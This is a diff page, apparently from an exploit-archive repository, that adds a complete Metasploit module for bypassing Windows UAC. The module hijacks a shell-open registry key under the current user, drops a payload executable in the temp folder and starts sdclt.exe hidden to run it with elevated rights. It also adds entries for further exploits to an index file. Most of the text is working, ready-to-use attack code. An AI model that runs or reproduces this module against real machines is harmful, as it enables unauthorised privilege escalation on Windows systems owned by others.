vprint_status("Payload Upload Complete")
|
||||||
|
|
||||||
|
vprint_status("Launching " + target_filepath)
|
||||||
|
begin
|
||||||
|
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
print_error(e.to_s)
|
||||||
|
end
|
||||||
|
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
|
||||||
|
# wait for a few seconds before cleaning up
|
||||||
|
print_status("Please wait for session and cleanup....")
|
||||||
|
sleep(20)
|
||||||
|
vprint_status("Removing Registry Changes")
|
||||||
|
reg_keys.each do |key_hash|
|
||||||
|
remove_reg_value(key_hash)
|
||||||
|
end
|
||||||
|
vprint_status("Registry Changes Removed")
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_permissions!
|
||||||
|
unless check == Exploit::CheckCode::Appears
|
||||||
|
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||||
|
end
|
||||||
|
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||||
|
# Check if you are an admin
|
||||||
|
# is_in_admin_group can be nil, true, or false
|
||||||
|
print_status('UAC is Enabled, checking level...')
|
||||||
|
vprint_status('Checking admin status...')
|
||||||
|
admin_group = is_in_admin_group?
|
||||||
|
if admin_group.nil?
|
||||||
|
print_error('Either whoami is not there or failed to execute')
|
||||||
|
print_error('Continuing under assumption you already checked...')
|
||||||
|
else
|
||||||
|
if admin_group
|
||||||
|
print_good('Part of Administrators group! Continuing...')
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||||
|
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
165
exploits/windows/local/47696.rb
Executable file
165
exploits/windows/local/47696.rb
Executable file
|
@ -0,0 +1,165 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/exe'
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Post::Windows::Priv
|
||||||
|
include Post::Windows::Runas
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)',
|
||||||
|
'Description' => %q(
|
||||||
|
This module will bypass Windows UAC by hijacking a special key in the Registry under
|
||||||
|
the current user hive, and inserting a custom command that will get invoked when
|
||||||
|
Window backup and restore is launched. It will spawn a second shell that has the UAC
|
||||||
|
flag turned off.
|
||||||
|
|
||||||
|
This module modifies a registry key, but cleans up the key once the payload has
|
||||||
|
been invoked.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'enigma0x3', # UAC bypass discovery and research
|
||||||
|
'bwatters-r7', # Module
|
||||||
|
],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Notes' =>
|
||||||
|
{
|
||||||
|
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'],
|
||||||
|
['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'],
|
||||||
|
['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Mar 17 2017'
|
||||||
|
)
|
||||||
|
)
|
||||||
|
register_options(
|
||||||
|
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]
|
||||||
|
)
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled?
|
||||||
|
Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def write_reg_values(registry_key, payload_pathname)
|
||||||
|
begin
|
||||||
|
registry_createkey(registry_key) unless registry_key_exist?(registry_key)
|
||||||
|
registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ")
|
||||||
|
registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ")
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error(e.to_s)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
check_permissions!
|
||||||
|
case get_uac_level
|
||||||
|
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||||
|
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||||
|
fail_with(Failure::NotVulnerable,
|
||||||
|
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
|
||||||
|
when UAC_DEFAULT
|
||||||
|
print_good('UAC is set to Default')
|
||||||
|
print_good('BypassUAC can bypass this setting, continuing...')
|
||||||
|
when UAC_NO_PROMPT
|
||||||
|
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
|
||||||
|
shell_execute_exe
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
registry_key = 'HKCU\Software\Classes\Folder\shell\open\command'
|
||||||
|
remove_registry_key = !registry_key_exist?(registry_key)
|
||||||
|
|
||||||
|
# get directory locations straight
|
||||||
|
win_dir = session.sys.config.getenv('windir')
|
||||||
|
vprint_status("win_dir = " + win_dir)
|
||||||
|
tmp_dir = session.sys.config.getenv('tmp')
|
||||||
|
vprint_status("tmp_dir = " + tmp_dir)
|
||||||
|
exploit_dir = win_dir + "\\System32\\"
|
||||||
|
vprint_status("exploit_dir = " + exploit_dir)
|
||||||
|
target_filepath = exploit_dir + "sdclt.exe"
|
||||||
|
vprint_status("exploit_file = " + target_filepath)
|
||||||
|
|
||||||
|
# make payload
|
||||||
|
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe'
|
||||||
|
payload_pathname = tmp_dir + '\\' + payload_name
|
||||||
|
vprint_status("payload_pathname = " + payload_pathname)
|
||||||
|
vprint_status("Making Payload")
|
||||||
|
payload = generate_payload_exe
|
||||||
|
reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}"
|
||||||
|
vprint_status("reg_command = " + reg_command)
|
||||||
|
write_reg_values(registry_key, reg_command)
|
||||||
|
|
||||||
|
# Upload payload
|
||||||
|
vprint_status("Uploading Payload to #{payload_pathname}")
|
||||||
|
write_file(payload_pathname, payload)
|
||||||
|
vprint_status("Payload Upload Complete")
|
||||||
|
|
||||||
|
vprint_status("Launching " + target_filepath)
|
||||||
|
begin
|
||||||
|
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_error("Executing command failed:\n#{e}")
|
||||||
|
end
|
||||||
|
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")
|
||||||
|
# wait for a few seconds before cleaning up
|
||||||
|
print_status("Please wait for session and cleanup....")
|
||||||
|
sleep(20)
|
||||||
|
vprint_status("Removing Registry Changes")
|
||||||
|
if remove_registry_key
|
||||||
|
registry_deletekey(registry_key)
|
||||||
|
else
|
||||||
|
registry_deleteval(registry_key, "DelegateExecute")
|
||||||
|
registry_deleteval(registry_key, '')
|
||||||
|
end
|
||||||
|
print_status("Registry Changes Removed")
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_permissions!
|
||||||
|
unless check == Exploit::CheckCode::Appears
|
||||||
|
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
|
||||||
|
end
|
||||||
|
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
|
||||||
|
# Check if you are an admin
|
||||||
|
# is_in_admin_group can be nil, true, or false
|
||||||
|
print_status('UAC is Enabled, checking level...')
|
||||||
|
vprint_status('Checking admin status...')
|
||||||
|
case is_in_admin_group?
|
||||||
|
when true
|
||||||
|
print_good('Part of Administrators group! Continuing...')
|
||||||
|
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||||
|
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||||
|
end
|
||||||
|
when false
|
||||||
|
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
|
when nil
|
||||||
|
print_error('Either whoami is not there or failed to execute')
|
||||||
|
print_error('Continuing under assumption you already checked...')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -6601,6 +6601,9 @@ id,file,description,date,author,type,platform,port
|
||||||
47677,exploits/hardware/dos/47677.sh,"Centova Cast 3.2.12 - Denial of Service (PoC)",2019-11-19,DroidU,dos,hardware,
|
47677,exploits/hardware/dos/47677.sh,"Centova Cast 3.2.12 - Denial of Service (PoC)",2019-11-19,DroidU,dos,hardware,
|
||||||
47678,exploits/ios/dos/47678.py,"scadaApp for iOS 1.1.4.0 - 'Servername' Denial of Service (PoC)",2019-11-19,"Luis Martínez",dos,ios,
|
47678,exploits/ios/dos/47678.py,"scadaApp for iOS 1.1.4.0 - 'Servername' Denial of Service (PoC)",2019-11-19,"Luis Martínez",dos,ios,
|
||||||
47679,exploits/windows/dos/47679.py,"XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service",2019-11-19,ZwX,dos,windows,
|
47679,exploits/windows/dos/47679.py,"XMedia Recode 3.4.8.6 - '.m3u' Denial Of Service",2019-11-19,ZwX,dos,windows,
|
||||||
|
47692,exploits/linux/dos/47692.txt,"Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path",2019-11-20,"Google Security Research",dos,linux,
|
||||||
|
47693,exploits/linux/dos/47693.txt,"Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs",2019-11-20,"Google Security Research",dos,linux,
|
||||||
|
47694,exploits/ios/dos/47694.txt,"iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd",2019-11-20,"Google Security Research",dos,ios,
|
||||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||||
|
@ -10789,6 +10792,9 @@ id,file,description,date,author,type,platform,port
|
||||||
47676,exploits/windows/local/47676.txt,"Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path",2019-11-19,"Luis Martínez",local,windows,
|
47676,exploits/windows/local/47676.txt,"Studio 5000 Logix Designer 30.01.00 - 'FactoryTalk Activation Service' Unquoted Service Path",2019-11-19,"Luis Martínez",local,windows,
|
||||||
47684,exploits/windows/local/47684.md,"Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation",2019-11-14,TomahawkAPT69,local,windows,
|
47684,exploits/windows/local/47684.md,"Microsoft Windows 10 Build 1803 < 1903 - 'COMahawk' Local Privilege Escalation",2019-11-14,TomahawkAPT69,local,windows,
|
||||||
47685,exploits/windows_x86-64/local/47685.txt,"DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'",2019-11-03,Mumbai,local,windows_x86-64,
|
47685,exploits/windows_x86-64/local/47685.txt,"DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'",2019-11-03,Mumbai,local,windows_x86-64,
|
||||||
|
47695,exploits/windows/local/47695.rb,"Windows - Escalate UAC Protection Bypass (Via dot net profiler) (Metasploit)",2019-11-20,Metasploit,local,windows,
|
||||||
|
47696,exploits/windows/local/47696.rb,"Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit)",2019-11-20,Metasploit,local,windows,
|
||||||
|
47701,exploits/unix/local/47701.rb,"Xorg X11 Server - Local Privilege Escalation (Metasploit)",2019-11-20,Metasploit,local,unix,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
@ -17804,6 +17810,10 @@ id,file,description,date,author,type,platform,port
|
||||||
47673,exploits/linux/remote/47673.py,"nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)",2019-11-18,"Guy Levin",remote,linux,
|
47673,exploits/linux/remote/47673.py,"nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)",2019-11-18,"Guy Levin",remote,linux,
|
||||||
47683,exploits/windows_x86/remote/47683.py,"Microsoft Windows 7 (x86) - 'BlueKeep' Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free",2019-11-19,0xeb-bp,remote,windows_x86,
|
47683,exploits/windows_x86/remote/47683.py,"Microsoft Windows 7 (x86) - 'BlueKeep' Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free",2019-11-19,0xeb-bp,remote,windows_x86,
|
||||||
47686,exploits/linux/remote/47686.py,"Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution",2019-05-17,mr_me,remote,linux,
|
47686,exploits/linux/remote/47686.py,"Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution",2019-05-17,mr_me,remote,linux,
|
||||||
|
47697,exploits/multiple/remote/47697.rb,"FusionPBX - Operator Panel exec.php Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple,
|
||||||
|
47698,exploits/multiple/remote/47698.rb,"FreeSWITCH - Event Socket Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple,
|
||||||
|
47699,exploits/php/remote/47699.rb,"Bludit - Directory Traversal Image File Upload (Metasploit)",2019-11-20,Metasploit,remote,php,
|
||||||
|
47700,exploits/multiple/remote/47700.rb,"Pulse Secure VPN - Arbitrary Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple,
|
||||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||||
|
@ -42001,3 +42011,4 @@ id,file,description,date,author,type,platform,port
|
||||||
47688,exploits/multiple/webapps/47688.md,"Apache Httpd mod_proxy - Error Page Cross-Site Scripting",2019-10-14,"Sebastian Neef",webapps,multiple,
|
47688,exploits/multiple/webapps/47688.md,"Apache Httpd mod_proxy - Error Page Cross-Site Scripting",2019-10-14,"Sebastian Neef",webapps,multiple,
|
||||||
47689,exploits/multiple/webapps/47689.md,"Apache Httpd mod_rewrite - Open Redirects",2019-10-14,"Sebastian Neef",webapps,multiple,
|
47689,exploits/multiple/webapps/47689.md,"Apache Httpd mod_rewrite - Open Redirects",2019-10-14,"Sebastian Neef",webapps,multiple,
|
||||||
47690,exploits/multiple/webapps/47690.md,"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts",2019-10-14,"Sebastian Neef",webapps,multiple,
|
47690,exploits/multiple/webapps/47690.md,"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts",2019-10-14,"Sebastian Neef",webapps,multiple,
|
||||||
|
47691,exploits/php/webapps/47691.sh,"OpenNetAdmin 18.1.1 - Remote Code Execution",2019-11-20,mattpascoe,webapps,php,
|
||||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue